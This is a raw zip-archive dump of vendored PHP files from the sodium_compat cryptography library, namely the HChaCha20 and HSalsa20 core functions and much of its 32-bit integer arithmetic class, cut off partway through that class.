PK	�[��21��Ochat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/HChaCha20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core32_HChaCha20 extends
ParagonIE_Sodium_Core32_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key =
'', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = new ParagonIE_Sodium_Core32_Int32(array(0x6170,
0x7865));
            $ctx[1] = new ParagonIE_Sodium_Core32_Int32(array(0x3320,
0x646e));
            $ctx[2] = new ParagonIE_Sodium_Core32_Int32(array(0x7962,
0x2d32));
            $ctx[3] = new ParagonIE_Sodium_Core32_Int32(array(0x6b20,
0x6574));
        } else {
            $ctx[0] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $ctx[1] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $ctx[2] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $ctx[3] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $ctx[4]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $ctx[5]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $ctx[6]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $ctx[7]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12,
4));
        $ctx[8]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16,
4));
        $ctx[9]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20,
4));
        $ctx[10] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24,
4));
        $ctx[11] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28,
4));
        $ctx[12] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $ctx[13] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $ctx[14] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $ctx[15] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));

        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        $x0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        $x1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        $x2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        $x3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        $x4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        $x5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        $x6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        $x7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        $x8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        $x9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        $x10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        $x11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        $x12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        $x13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        $x14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */
        $x15 = $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8,
$x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9,
$x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10,
$x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11,
$x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10,
$x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11,
$x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8,
$x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9,
$x14);
        }

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }
}
PK	�[�x)'Nchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/HSalsa20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_HSalsa20
 */
abstract class ParagonIE_Sodium_Core32_HSalsa20 extends
ParagonIE_Sodium_Core32_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more
than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes
long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170,
0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320,
0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962,
0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20,
0x6574));
        } else {
            $x0  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  =
$x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  =
$x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 =
$x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  =
$x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  =
$x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 =
$x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
            $x1  =
$x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  =
$x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 =
$x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  =
$x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  =
$x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 =
$x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  =
$x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  =
$x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 =
$x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 =
$x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  =
$x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  =
$x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  =
$x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  =
$x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  =
$x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  =
$x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  =
$x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  =
$x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 =
$x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  =
$x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  =
$x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 =
$x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 =
$x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 =
$x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 =
$x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 =
$x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        return $x0->toReverseString() .
            $x5->toReverseString() .
            $x10->toReverseString() .
            $x15->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString();
    }
}
PK	�[��N�_�_Kchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Int32.phpnu�[���<?php

/**
 * Class ParagonIE_Sodium_Core32_Int32
 *
 * Encapsulates a 32-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int32
{
    /**
     * @var array<int, int> - two 16-bit integers
     *
     * 0 is the higher 16 bits
     * 1 is the lower 16 bits
     */
    public $limbs = array(0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int32 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int32 objects
     *
     * @param ParagonIE_Sodium_Core32_Int32 $addend
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];

        $r1 = $i1 + ($j1 & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int32 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int,
'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];

        $r1 = $i1 + ($int & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r0 >> 16;
        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 2;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** @var int $gt */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** @var int $eq */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $m
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mask($m = 0)
    {
        /** @var int $hi */
        $hi = ($m >> 16) & 0xffff;
        /** @var int $lo */
        $lo = ($m & 0xffff);
        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) ($this->limbs[0] & $hi),
                (int) ($this->limbs[1] & $lo)
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = ($a_i * $b_j) + $r[$i + $j];
                $carry = ($product >> $baseLog2 & 0xffff);
                $r[$i + $j] = ($product - (int) ($carry * $base)) &
0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $right
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2];
        }
        return $return;
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt($int = 0, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int,
'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size,
'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast((int) $int);
        }
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($int & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($size,
'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt32Fast($int);
        }
        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $b = clone $int;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($b1 & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;

        return $return;
    }

    /**
     * OR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function orInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1])
        );
        /** @var int overflow */
        $return->overflow = $this->overflow | $b->overflow;
        return $return;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 1;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 1;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int)
($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            /** @var int $c */
            /** @var int $tmp */
            $tmp = $this->limbs[1] << $c;
            $return->limbs[1] = (int)($tmp & 0xffff);
            /** @var int $carry */
            $carry = $tmp >> 16;

            /** @var int $tmp */
            $tmp = ($this->limbs[0] << $c) | ($carry &
0xffff);
            $return->limbs[0] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c >= 16) {
            $return->limbs = array(
                (int) ($this->overflow & 0xffff),
                (int) ($this->limbs[0])
            );
            $return->overflow = $this->overflow >> 16;
            return $return->shiftRight($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $c */
            // $return->limbs[0] = (int) (($this->limbs[0] >>
$c) & 0xffff);
            $carryLeft = (int) ($this->overflow & ((1 << ($c +
1)) - 1));
            $return->limbs[0] = (int) ((($this->limbs[0] >> $c)
| ($carryLeft << (16 - $c))) & 0xffff);
            $carryRight = (int) ($this->limbs[0] & ((1 << ($c
+ 1)) - 1));
            $return->limbs[1] = (int) ((($this->limbs[1] >> $c)
| ($carryRight << (16 - $c))) & 0xffff);
            $return->overflow >>= $c;
        }
        return $return;
    }

    /**
     * Subtract a normal integer from an int32 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int,
'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($int & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) +
$carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * Subtract two int32 objects from each other
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function subInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) +
$carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * XOR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
